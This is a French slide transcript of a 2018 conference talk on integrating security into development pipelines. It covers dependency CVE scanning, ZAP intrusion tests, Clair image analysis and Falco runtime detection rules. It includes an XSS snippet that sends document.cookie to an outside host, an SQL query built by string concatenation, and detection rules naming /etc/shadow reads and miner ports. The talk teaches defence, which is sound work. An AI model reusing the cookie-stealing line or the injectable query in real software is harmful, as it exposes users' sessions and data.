Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Intégrez la sécu dans votre quotidien avant qu'il ne soit trop tard!

Intégrez la sécu dans votre quotidien avant qu'il ne soit trop tard!

Houssem BELHADJ AHMED

April 19, 2018
Tweet

More Decks by Houssem BELHADJ AHMED

Other Decks in Technology

Transcript

  1. Intégrer la sécurité dans
    votre quotidien
    MiXiT 2018 - 19/04/2018

    View full-size slide

  2. Présentation
    Mickael Jeanroy Houssem Belhadj Ahmed
    Développeur
    @mickaeljeanroy
    https://github.com/mjeanroy
    Développeur
    @7ouss3m
    https://github.com/houssemba

    View full-size slide

  3. Pourquoi ce talk ?

    View full-size slide

  4. Pourquoi ce talk ?
    Toutes ces entreprises ont été victime d’un vol données :
    - 2012 / 2016 : plus de 160 millions de comptes LinkedIn dans la nature
    - 2013 : 150 millions de comptes Adobe
    - 2016 : 80 millions de comptes dailymotion
    - Etc…
    Source : https://haveibeenpwned.com

    View full-size slide

  5. Pourquoi ce talk ?
    Certaines failles ont touchés (et touchent encore) des millions de sites :
    - 2014 : Shellshock
    - 2014 : Heartbleed
    - 2017 : Meltdown
    - 2017 : Spectre
    - Etc.

    View full-size slide

  6. Pourquoi ce talk ?

    View full-size slide

  7. Contexte
    Application type “Twitter” - Mixtwitt
    - Spring Boot, Java 8
    - AngularJS, jQuery
    - Docker, traefik
    - Intégration Continue : Jenkins

    View full-size slide

  8. Mixtwitt - Continuous integration
    Push
    Build Docker
    Build
    Deploy

    View full-size slide

  9. Contexte
    DEMO

    View full-size slide

  10. Etape 1 : Dépendances
    Première étape : nos dépendances sont-elles sûres ?
    - Maintenue / Éprouvée ?
    - Mise à jour récente ?
    - Affectée par une CVE connue ?
    Mais au fait, c’est quoi une CVE ?

    View full-size slide

  11. Etape 1 : Dépendances
    CVE ~ Common Vulnerability Exposure
    - Wikipedia : Dictionnaire des informations publiques relatives aux
    vulnérabilités de sécurité.
    - Pour faire simple : c’est une vulnérabilité, connue, détaillée et exposée
    publiquement.
    - Maintenu par différents organismes

    View full-size slide

  12. Etape 1 : Dépendances
    CVE ~ Exemple : Apache Commons FileUpload

    View full-size slide

  13. Etape 1 : Dépendances
    CVE ~ Focus sur CVE-2016-1000031
    - Apache Commons FileUpload
    - Très utilisée.
    - Souvent présente de manière transitive : plus de 1 300 artifact l’utilisent !
    - Faille : Remote Code Execution
    - Facilement exploitable
    - Souvent présente dans une dépendance directe, ou transitive
    - Une seule solution possible : mise à jour

    View full-size slide

  14. Etape 1 : Dépendances
    Maintenir ses dépendances à jour ?
    - Maven : mvn versions:display-dependency-updates
    - NPM : npm outdated
    - PHP : composer outdated
    - Etc.
    Questions :
    - Comment automatiser ?
    - Comment être averti des mises à jours ?
    - Mes dépendances sont-elles vulnérables ?

    View full-size slide

  15. Etape 1 : Dépendances
    Maintenir ses dépendances à jour ?

    View full-size slide

  16. Etape 1 : Dépendances
    Vérifier ses dépendances sur une base de CVE
    - Plugin Maven : OWASP Dependency-Check
    - Plugin NPM : retire

    View full-size slide

  17. Etape 1 : Dépendances
    Dépendances Front -- NPM
    - Installation : npm install --save retire
    - Automatisation : npm run retire

    View full-size slide

  18. Etape 1 : Dépendances
    Dépendances Back -- Maven
    - Installation : ajout du plugin dans le fichier pom.xml
    - Automatisation : mvn dependency-check:check

    View full-size slide

  19. Etape 1 : Dépendances
    Push
    Build Docker
    Build
    Deploy
    Dependency
    check

    View full-size slide

  20. Etape 1 : Dépendances
    DEMO
    https://jenkins.mr-robot.sh/job/Back-Dependency_check
    https://jenkins.mr-robot.sh/job/Front-Dependency_check

    View full-size slide

  21. Etape 1 : Dépendances
    1- Dépendances à jour

    View full-size slide

  22. Etape 2 : Failles Applicatives
    Failles Applicatives : nombreuses possibilités...
    - SQL Injection
    - XSS ~ Cross Site Scripting
    - CSRF ~ Cross Site Request Forgery
    - Timing Attack
    - Remote Code Execution
    - Path Traversal
    - Etc.

    View full-size slide

  23. Etape 2 : Failles Applicatives
    Focus sur quelques failles : SQL Injection
    - Détournement d’une requête SQL
    - Risques principaux : bypass de login, dump de la base données
    Exemple :
    SELECT id, nom
    FROM users
    WHERE login = ‘“ + login + “‘ “
    AND password = ‘“ + password + “‘“

    View full-size slide

  24. Etape 2 : Failles Applicatives
    Focus sur quelques failles : XSS ~ Cross Site Scripting
    - Injection de code JavaScript
    - Risques principaux : vol de cookies, vol de tokens, usurpation d’identité
    Exemple :
    <br/>var src = "http://domain.com/" + (document.cookie);<br/>new Image().src = src;<br/>

    View full-size slide

  25. Etape 2 : Failles Applicatives
    Retour CTF MiXiT 2017
    - Failles connues mais peu maîtrisées (SQL Injection)
    - Méconnaissance sur les risques (XSS, Remote Code Execution)
    - Peu d’assurance sur le code produit
    Conclusion :
    - Besoin d’automatisation
    - Besoin de vérifications au jour le jour

    View full-size slide

  26. ZAP - Zed Attack Proxy
    - Un outil open source de l’OWASP
    - Il sert à trouver des failles de
    sécurités dans les applications web
    - Utilisé pour les développeurs, les
    débutants en sécurités, ainsi que par
    les professionnels
    - URL : https://github.com/zaproxy

    View full-size slide

  27. ZAP - Zed Attack Proxy
    Deux modes :
    - Passif
    ○ Analyse tout le trafic entre le navigateur et l'application web.
    ○ Cherche les problèmes liés à la configuration (Headers de sécurité qui manquent etc.).
    ○ Peut être utiliser directement sur l’environnement de production (pas d’actions sur les
    données).
    - Actif
    ○ Utilise des attaques connues pour détecter des vulnérabilités potentielles
    ○ NE PAS UTILISER EN PROD OU SUR UNE APPLICATION QUE VOUS NE POSSÉDEZ PAS ! ;)

    View full-size slide

  28. ZAP - Zed Attack Proxy
    Vérifications en mode passif :
    - Cookies : Secure Flag, HTTPOnly Flag
    - Headers :
    - X-XSS-Protection
    - X-Content-Type-Options
    - X-Frame-Options
    - Content-Security-Policy (via extension)
    - Exposition d’adresses “privées”
    - Erreurs applicatives : les messages d’erreur peuvent donner beaucoup
    d’informations…
    - Etc.

    View full-size slide

  29. ZAP - Zed Attack Proxy
    Vérifications en mode actif :
    - Directory Browsing
    - Path Traversal
    - Server Side Include
    - Command Injection
    - XSS ~ Cross Site Scripting
    - SQL Injection
    - Etc.

    View full-size slide

  30. ZAP - Zed Attack Proxy
    Push
    Build Docker
    Build
    Deploy
    Env
    éphémère
    Dependency
    check
    Test
    Tests
    d'intrusion
    automatisés

    View full-size slide

  31. DEMO
    ZAP - Zed Attack Proxy

    View full-size slide

  32. ZAP IS NOT A SILVER BULLET

    View full-size slide

  33. Well done! But wait ...
    1- Dépendances à jour
    2- Tests d’intrusion

    View full-size slide

  34. Etape 3: Containers
    Nos images sont-elles
    sécurisées ?

    View full-size slide

  35. Docker
    Docker
    CONTAINER
    Java App
    custom-java:latest
    CONTAINER
    PHP
    Ubuntu:latest
    CONTAINER
    Static Files
    Debian:8.0
    App
    .
    .
    .
    Apache

    View full-size slide

  36. Docker
    Docker
    CONTAINER
    Java App
    custom-java:latest
    CONTAINER
    PHP
    Ubuntu:latest
    CONTAINER
    Debian:8.0
    App
    htop
    sshd
    openssl
    chrome
    firefox
    Static Files
    Apache

    View full-size slide

  37. Vulnerabilities inside docker images
    How common is it really?

    View full-size slide

  38. Docker Hub
    A Study of Security Vulnerabilities on Docker Hub
    Rui Shu, Xiaohui Gu and William Enck
    North Carolina State University
    - Etude publiée le 22 mars 2017 de Rui Shu,
    Xiaohui Gu & William Enck (Université de
    Caroline du Nord)
    - > 300 000 d’images unique analysées (Avril 2016)
    - > 80% des images officielles sont vulnérable à
    des failles de sévérité élevés
    - Les images officielles contiennent moins de
    failles que les images tierces de la communauté
    - https://dl.acm.org/citation.cfm?id=3029832

    View full-size slide

  39. Comment analyser nos images ?

    View full-size slide

  40. - open source system for analyzing container images for
    vulnerabilities
    - static analysis for fast, reproducible results
    - extensible to allow for easy addition of new analyzers,
    reporters, image formats, etc
    - URL : https://github.com/coreos/clair

    View full-size slide

  41. Clair
    Debian Security Bug Tracker
    Ubuntu CVE Tracker
    Red Hat Security Data
    ...
    Registrable components
    Third party
    Other components

    View full-size slide

  42. Clair - Comment ça marche ?
    FROM node:latest
    # Upgrade packages
    RUN apt-get update && apt-get upgrade -y
    # Create app directory
    RUN mkdir -p /usr/src/app
    WORKDIR /usr/src/app
    # Install app dependencies
    COPY package.json /usr/src/app/
    RUN npm install
    # Bundle app source
    COPY . /usr/src/app
    EXPOSE 8080
    CMD [ "npm", "start" ]
    Dockerfile
    ● Metadata : (id, parent id, command, environment
    …)
    ● Filesystem diff : (which files have been
    added/modified/removed)
    Image Layer
    ● Operating system
    ○ /etc/os-release, /etc/apt/sources.list, …
    ● Package list
    ○ /var/lib/dpkg/status, /var/lib/rmp/Packages...
    For each layer, find the:

    View full-size slide

  43. Clair
    Push
    Build Docker
    Build
    Deploy
    Dependency
    check
    Docker
    images
    analysis

    View full-size slide

  44. Est-ce que c’est “clair” ? :)

    View full-size slide

  45. Alternatives
    ● Quay.io
    ● Twistlock
    ● AquaSec
    ● Anchore
    ● Neuvector
    ● Flawcheck

    View full-size slide

  46. Comment détecter une intrusion malgré toutes nos
    précautions ?

    View full-size slide

  47. Falco
    - open source behavioral activity monitoring
    - native support for containers
    - URL : https://github.com/draios/falco

    View full-size slide

  48. Falco - Comment ça marche ?
    Kernel
    CONTAINER 1 CONTAINER 2 APP
    Syscalls are turned into events with context :
    ● The process name performing the
    system call
    ● The process’s parents, grandparents,
    etc
    ● The remote IP address to which the
    process is communicating
    ● ...
    Syscalls

    View full-size slide

  49. Falco - Exemples
    A shell is run in a container
    Condition: container.id != host and proc.name = bash
    Write to directory holding system binaries
    Condition: open_write and not package_mgmt_binaries and bin_dir
    System binary makes outbound connection
    Process other than skype tries to access camera
    Condition: evt.type = open and fd.name = /dev/video0 and proc.name != skype
    Condition: open_connection and proc.name in (ls, ps, mkdir, … )

    View full-size slide

  50. Falco - Default rules
    - list: sensitive_file_names
    items: [/etc/shadow, /etc/sudoers, /etc/pam.conf]
    - macro: sensitive_files
    condition: >
    fd.name startswith /etc and
    (fd.name in (sensitive_file_names)
    or fd.directory in (/etc/sudoers.d, /etc/pam.d))
    - rule: Read sensitive file untrusted
    desc: >
    an attempt to read any sensitive file (e.g. files containing user/password/authentication
    information). Exceptions are made for known trusted programs.
    condition: >
    sensitive_files and open_read
    and proc_name_exists
    and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries,
    ...
    output: >
    Sensitive file opened for reading by non-trusted program ...
    priority: WARNING

    View full-size slide

  51. Falco - Custom rule
    - rule: Detect crypto miners using the Stratum protocol
    desc: Miners typically specify the mining pool to connect to with a URI that begins with 'stratum+tcp'
    condition: proc.cmdline contains stratum+tcp
    output: Possible miner ran inside a container (command=%proc.cmdline %container.info)
    priority: WARNING
    - list: miner_ports
    items: [ 3333, 4444, 8333, 7777, 7778, 3357, 3335, 8899, 8888, 5730, 5588, 8118, 6099, 9332 ]
    - macro: miner_port_connection
    condition: fd.sport in (miner_ports)
    - rule: Detect outbound connections to common miner pool ports
    desc: Miners typically connect to miner pools on common ports.
    condition: node_app_frontend and outbound and miner_port_connection
    output: "Outbound connection to common miner port (command=%proc.cmdline port=%fd.rport %container.info)"
    priority: WARNING

    View full-size slide

  52. Aller plus loin
    ● Snyk
    ● Metasploit
    ● Shodan
    ● NetAttacker
    ● Burp

    View full-size slide

  53. MERCI !
    Questions ?
    @mickaeljeanroy
    @7ouss3m

    View full-size slide